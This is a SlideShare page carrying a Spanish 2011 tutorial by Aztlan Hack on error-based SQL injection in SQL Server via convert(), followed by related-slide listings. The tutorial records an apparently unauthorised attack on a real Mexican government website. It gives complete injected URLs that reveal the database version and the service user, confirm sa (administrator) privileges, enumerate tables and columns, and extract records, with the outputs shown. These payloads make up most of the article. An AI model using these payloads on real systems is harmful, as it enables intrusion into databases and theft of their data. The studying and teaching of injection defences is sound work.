SlideShare una empresa de Scribd logo
1 de 5
Descargar para leer sin conexión
25 Nov 2011
SQL Injection en SQL Server y función convert()
Este artículo esta escrito con fines didácticos y nunca para incitar o promover que el lector use esto
con fines delictivos. No me hago responsable por el uso que le das a esta información.
Anteriormente hemos tratado temas de SQL Injection, sin embargo siempre nos basamos en el
sistema de gestión de base de datos (SGBD) MySql así que esta vez dedicaremos un espacio para
introducirnos en ataques a sistemas SQL SERVER.
Igual que en artículos anteriores veremos la forma de listar las tablas, campos y registros que
conforman la base de datos a atacar.
Las pruebas fueron realizadas sobre un sitio real, sin embargo omitiré el nombre y dirección solo
pondré impresiones de pantalla del resultado del ataque.
No veremos BLIND SQLI ya que nos basaremos en los errores devueltos por el servidor, para generar
estos errores inyectaremos la función convert() que sirve para hacer conversiones entre tipos de datos, por
tanto pediremos que convierta un tipo de dato totalmente incompatible.
La primera prueba que nos servirá como testeo es pedir la versión de SQL con ayuda de @@version que
además será útil para saber la sintaxis que debemos usar.
http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,@@version) -- h
Versión: Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003
Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
Al final incluimos el carácter comentario “--” para que omita el resto de la consulta.
Sacamos el usuario con el que la aplicación esta corriendo SQL Server
http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,system_user) -- h
Usuario: portalconsultas
Sacamos los permisos del usuario con el que esta corriendo SQL Server.
http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top
1 name FROM master..syslogins )) -- h
Permisos: sa Como podemos ver esta corriendo con permisos de Super Administrador xD (aquí se los dejo
a su imaginación).
Empezamos a sacar las tablas que forman la base de datos para eso usaremos los metadatos, el nombre
de las tablas se almacena en sysobjects (el de las columnas en syscolumns).
Como en SQL Server no existe una sentencia “LIMIT” como en Mysql usaremos TOP para delimitar el
numero de filas que queremos de regreso.
http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,
(SELECT top 1 NAME FROM sysobjects order by name)) -- h
Tabla: Aceptados
Ahora para sacar la siguiente tabla añadiremos una condición WHERE donde el nombre de la tabla sea
mayor a “Aceptados” lo cual recorrerá el “TOP 1”.
http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top
1 NAME FROM sysobjects WHERE name > 'Aceptados' order by name)) -- h
Tabla: Agenda_Categorias.
Este proceso seguirá hasta obtener todas las tablas. Para sacar los nombres de columna de una tabla
especifica crearemos la siguiente consulta:
SELECT TOP 1 syscolumns.NAME FROM sysobjects INNER JOIN syscolumns sysobjects.ID=
syscolumns.ID WHERE sysobjects.NAME = ‘Nombre tabla’ ORDER BY syscolumns.NAME
http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top
1 syscolumns.NAME FROM syscolumns INNER JOIN sysobjects ON syscolumns.ID=sysobjects.ID
WHERE sysobjects.NAME='Agenda_Categorias' ORDER BY syscolumns.NAME)) -- h
Campo: categoria
http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top
1 syscolumns.NAME FROM syscolumns INNER JOIN sysobjects ON syscolumns.ID=sysobjects.ID
WHERE sysobjects.NAME='Agenda_Categorias' AND syscolumns.NAME>'categoria' ORDER BY
syscolumns.NAME))-- h
Campo: idCategoria
Así hasta terminar de listar campos. Finalmente extraemos los registros de la tabla en este caso
sacare el contenido de la tabla Agenda_Categoria y del campo categoria.
http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top
1 categoria FROM Agenda_Categorias ORDER BY categoria)) -- h
Registro: Adulto Mayor
http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top
1 categoria FROM Agenda_Categorias WHERE categoria>'Adulto Mayor' ORDER BY categoria)) -- h
Registro: Atención a la Mujer
Con esto finalizamos esta pequeña introducción a SQL Injection en SQL Server que ya es un tema
viejo dentro de las vulnerabilidades de APPS WEB pero que sin embargo no había sido tratado para
este SGBD por Aztlan Hack.
Aztlan Hack http://www.aztlan-hack.org
MSN/EMAIL: molder@aztlan-hack.org
Twitter: @Aztlan_Hack
Por Sombrero de paja Molder

Más contenido relacionado

La actualidad más candente (15)

Sesión02 - Creación de objetos (Oracle)
Sesión02 - Creación de objetos (Oracle)Sesión02 - Creación de objetos (Oracle)
Sesión02 - Creación de objetos (Oracle)
 
Tutorial mysql
Tutorial mysqlTutorial mysql
Tutorial mysql
 
Sqlcommand
SqlcommandSqlcommand
Sqlcommand
 
Buenas
BuenasBuenas
Buenas
 
Ejemplo de Trigger en Mysql
Ejemplo de Trigger en MysqlEjemplo de Trigger en Mysql
Ejemplo de Trigger en Mysql
 
TRIGGERS
TRIGGERSTRIGGERS
TRIGGERS
 
Disparadores
DisparadoresDisparadores
Disparadores
 
Bd 2 1 fundamentos transact sql
Bd 2   1 fundamentos transact sqlBd 2   1 fundamentos transact sql
Bd 2 1 fundamentos transact sql
 
Conexion Visual
Conexion Visual Conexion Visual
Conexion Visual
 
Sql
SqlSql
Sql
 
Procedimientos Almacenados
Procedimientos AlmacenadosProcedimientos Almacenados
Procedimientos Almacenados
 
MANUAL
MANUALMANUAL
MANUAL
 
Trigger Data Base
Trigger Data BaseTrigger Data Base
Trigger Data Base
 
sentencia Grant y Revoke
sentencia Grant y Revokesentencia Grant y Revoke
sentencia Grant y Revoke
 
Tutorial mysql
Tutorial mysqlTutorial mysql
Tutorial mysql
 

Similar a Textos sqli_mssql

MySQL. Tutorial Básico
MySQL. Tutorial BásicoMySQL. Tutorial Básico
MySQL. Tutorial BásicoJosu Orbe
 
58517228 postgre sql-desarrolladoresbasico
58517228 postgre sql-desarrolladoresbasico58517228 postgre sql-desarrolladoresbasico
58517228 postgre sql-desarrolladoresbasicoLucia Zambrano Franco
 
Sesion05 - Manipulacion de datos (Oracle)
Sesion05 - Manipulacion de datos (Oracle)Sesion05 - Manipulacion de datos (Oracle)
Sesion05 - Manipulacion de datos (Oracle)José Toro
 
Material Clase BDD: Diseño de una Base de Datos
Material Clase BDD: Diseño de una Base de DatosMaterial Clase BDD: Diseño de una Base de Datos
Material Clase BDD: Diseño de una Base de Datosliras loca
 
curso-servidores-apache-2
curso-servidores-apache-2curso-servidores-apache-2
curso-servidores-apache-2greenpeans
 
Yupa cesar bdii_t7
Yupa cesar bdii_t7Yupa cesar bdii_t7
Yupa cesar bdii_t7Cesar Yupa
 
Introduccion ddl
Introduccion ddlIntroduccion ddl
Introduccion ddlyehisam
 
Introduccion ddl
Introduccion ddlIntroduccion ddl
Introduccion ddlyehisam
 
Replicacion de base de datos
Replicacion de base de datosReplicacion de base de datos
Replicacion de base de datostickyandres
 
Acceso a una base de datos mediante un servidor (Conexión a oracle y mysql)
Acceso a una base de datos mediante un servidor (Conexión a oracle y mysql)Acceso a una base de datos mediante un servidor (Conexión a oracle y mysql)
Acceso a una base de datos mediante un servidor (Conexión a oracle y mysql)Ivan Luis Jimenez
 
Afinamientodebasesdedatosyservidoreswebs
AfinamientodebasesdedatosyservidoreswebsAfinamientodebasesdedatosyservidoreswebs
Afinamientodebasesdedatosyservidoreswebsricardosusa5
 
Tutorial mysql
Tutorial mysqlTutorial mysql
Tutorial mysqloskrsolis
 

Similar a Textos sqli_mssql (20)

MySQL. Tutorial Básico
MySQL. Tutorial BásicoMySQL. Tutorial Básico
MySQL. Tutorial Básico
 
Mysql
MysqlMysql
Mysql
 
Lumisaca hector bdii_t7
Lumisaca hector bdii_t7Lumisaca hector bdii_t7
Lumisaca hector bdii_t7
 
Ejemplo bbdd sqlite (android)
Ejemplo bbdd sqlite (android)Ejemplo bbdd sqlite (android)
Ejemplo bbdd sqlite (android)
 
Mysql
MysqlMysql
Mysql
 
58517228 postgre sql-desarrolladoresbasico
58517228 postgre sql-desarrolladoresbasico58517228 postgre sql-desarrolladoresbasico
58517228 postgre sql-desarrolladoresbasico
 
Transact+Sql+2005
Transact+Sql+2005Transact+Sql+2005
Transact+Sql+2005
 
Sesion05 - Manipulacion de datos (Oracle)
Sesion05 - Manipulacion de datos (Oracle)Sesion05 - Manipulacion de datos (Oracle)
Sesion05 - Manipulacion de datos (Oracle)
 
Material Clase BDD: Diseño de una Base de Datos
Material Clase BDD: Diseño de una Base de DatosMaterial Clase BDD: Diseño de una Base de Datos
Material Clase BDD: Diseño de una Base de Datos
 
curso-servidores-apache-2
curso-servidores-apache-2curso-servidores-apache-2
curso-servidores-apache-2
 
Yupa cesar bdii_t7
Yupa cesar bdii_t7Yupa cesar bdii_t7
Yupa cesar bdii_t7
 
Slideshare
SlideshareSlideshare
Slideshare
 
Hack x crack_sq_linjection
Hack x crack_sq_linjectionHack x crack_sq_linjection
Hack x crack_sq_linjection
 
Introduccion ddl
Introduccion ddlIntroduccion ddl
Introduccion ddl
 
Introduccion ddl
Introduccion ddlIntroduccion ddl
Introduccion ddl
 
Mysql
MysqlMysql
Mysql
 
Replicacion de base de datos
Replicacion de base de datosReplicacion de base de datos
Replicacion de base de datos
 
Acceso a una base de datos mediante un servidor (Conexión a oracle y mysql)
Acceso a una base de datos mediante un servidor (Conexión a oracle y mysql)Acceso a una base de datos mediante un servidor (Conexión a oracle y mysql)
Acceso a una base de datos mediante un servidor (Conexión a oracle y mysql)
 
Afinamientodebasesdedatosyservidoreswebs
AfinamientodebasesdedatosyservidoreswebsAfinamientodebasesdedatosyservidoreswebs
Afinamientodebasesdedatosyservidoreswebs
 
Tutorial mysql
Tutorial mysqlTutorial mysql
Tutorial mysql
 

Último

institucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalenainstitucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalenajuniorcuellargomez
 
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdfNUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdfisrael garcia
 
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENAINSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENAdanielaerazok
 
COMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdfCOMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdfOscarBlas6
 
Buscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la webBuscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la webDecaunlz
 
Guia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdfGuia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdflauradbernals
 
Institucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalenaInstitucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalenadanielaerazok
 
12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdf12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdfedwinmelgarschlink2
 

Último (8)

institucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalenainstitucion educativa la esperanza sede magdalena
institucion educativa la esperanza sede magdalena
 
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdfNUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
NUVO PROGRAMAS DE ESCUELAS NUEVO-ACUERDO-CTE.pdf
 
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENAINSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
INSTITUCION EDUCATIVA LA ESPERANZA SEDE MAGDALENA
 
COMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdfCOMPETENCIAS CIUDADANASadadadadadadada .pdf
COMPETENCIAS CIUDADANASadadadadadadada .pdf
 
Buscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la webBuscadores, SEM SEO: el desafío de ser visto en la web
Buscadores, SEM SEO: el desafío de ser visto en la web
 
Guia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdfGuia para el registro en el sitio slideshare.pdf
Guia para el registro en el sitio slideshare.pdf
 
Institucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalenaInstitucion educativa la esperanza sede la magdalena
Institucion educativa la esperanza sede la magdalena
 
12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdf12 Clasificacion de las Computadoras.pdf
12 Clasificacion de las Computadoras.pdf
 

Textos sqli_mssql

  • 1. 25 Nov 2011 SQL Injection en SQL Server y función convert() Este artículo esta escrito con fines didácticos y nunca para incitar o promover que el lector use esto con fines delictivos. No me hago responsable por el uso que le das a esta información. Anteriormente hemos tratado temas de SQL Injection, sin embargo siempre nos basamos en el sistema de gestión de base de datos (SGBD) MySql así que esta vez dedicaremos un espacio para introducirnos en ataques a sistemas SQL SERVER. Igual que en artículos anteriores veremos la forma de listar las tablas, campos y registros que conforman la base de datos a atacar. Las pruebas fueron realizadas sobre un sitio real, sin embargo omitiré el nombre y dirección solo pondré impresiones de pantalla del resultado del ataque. No veremos BLIND SQLI ya que nos basaremos en los errores devueltos por el servidor, para generar estos errores inyectaremos la función convert() que sirve para hacer conversiones entre tipos de datos, por tanto pediremos que convierta un tipo de dato totalmente incompatible. La primera prueba que nos servirá como testeo es pedir la versión de SQL con ayuda de @@version que además será útil para saber la sintaxis que debemos usar. http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,@@version) -- h Versión: Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
  • 2. Al final incluimos el carácter comentario “--” para que omita el resto de la consulta. Sacamos el usuario con el que la aplicación esta corriendo SQL Server http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,system_user) -- h Usuario: portalconsultas Sacamos los permisos del usuario con el que esta corriendo SQL Server. http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top 1 name FROM master..syslogins )) -- h Permisos: sa Como podemos ver esta corriendo con permisos de Super Administrador xD (aquí se los dejo a su imaginación).
  • 3. Empezamos a sacar las tablas que forman la base de datos para eso usaremos los metadatos, el nombre de las tablas se almacena en sysobjects (el de las columnas en syscolumns). Como en SQL Server no existe una sentencia “LIMIT” como en Mysql usaremos TOP para delimitar el numero de filas que queremos de regreso. http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int, (SELECT top 1 NAME FROM sysobjects order by name)) -- h Tabla: Aceptados Ahora para sacar la siguiente tabla añadiremos una condición WHERE donde el nombre de la tabla sea mayor a “Aceptados” lo cual recorrerá el “TOP 1”. http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top 1 NAME FROM sysobjects WHERE name > 'Aceptados' order by name)) -- h Tabla: Agenda_Categorias.
  • 4. Este proceso seguirá hasta obtener todas las tablas. Para sacar los nombres de columna de una tabla especifica crearemos la siguiente consulta: SELECT TOP 1 syscolumns.NAME FROM sysobjects INNER JOIN syscolumns sysobjects.ID= syscolumns.ID WHERE sysobjects.NAME = ‘Nombre tabla’ ORDER BY syscolumns.NAME http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top 1 syscolumns.NAME FROM syscolumns INNER JOIN sysobjects ON syscolumns.ID=sysobjects.ID WHERE sysobjects.NAME='Agenda_Categorias' ORDER BY syscolumns.NAME)) -- h Campo: categoria http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top 1 syscolumns.NAME FROM syscolumns INNER JOIN sysobjects ON syscolumns.ID=sysobjects.ID WHERE sysobjects.NAME='Agenda_Categorias' AND syscolumns.NAME>'categoria' ORDER BY syscolumns.NAME))-- h Campo: idCategoria
  • 5. Así hasta terminar de listar campos. Finalmente extraemos los registros de la tabla en este caso sacare el contenido de la tabla Agenda_Categoria y del campo categoria. http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top 1 categoria FROM Agenda_Categorias ORDER BY categoria)) -- h Registro: Adulto Mayor http://www.xxxxxxxxx.gob.mx/hacienda/Canal.asp?cve_canal=12834 and 1=convert(int,(SELECT top 1 categoria FROM Agenda_Categorias WHERE categoria>'Adulto Mayor' ORDER BY categoria)) -- h Registro: Atención a la Mujer Con esto finalizamos esta pequeña introducción a SQL Injection en SQL Server que ya es un tema viejo dentro de las vulnerabilidades de APPS WEB pero que sin embargo no había sido tratado para este SGBD por Aztlan Hack. Aztlan Hack http://www.aztlan-hack.org MSN/EMAIL: molder@aztlan-hack.org Twitter: @Aztlan_Hack Por Sombrero de paja Molder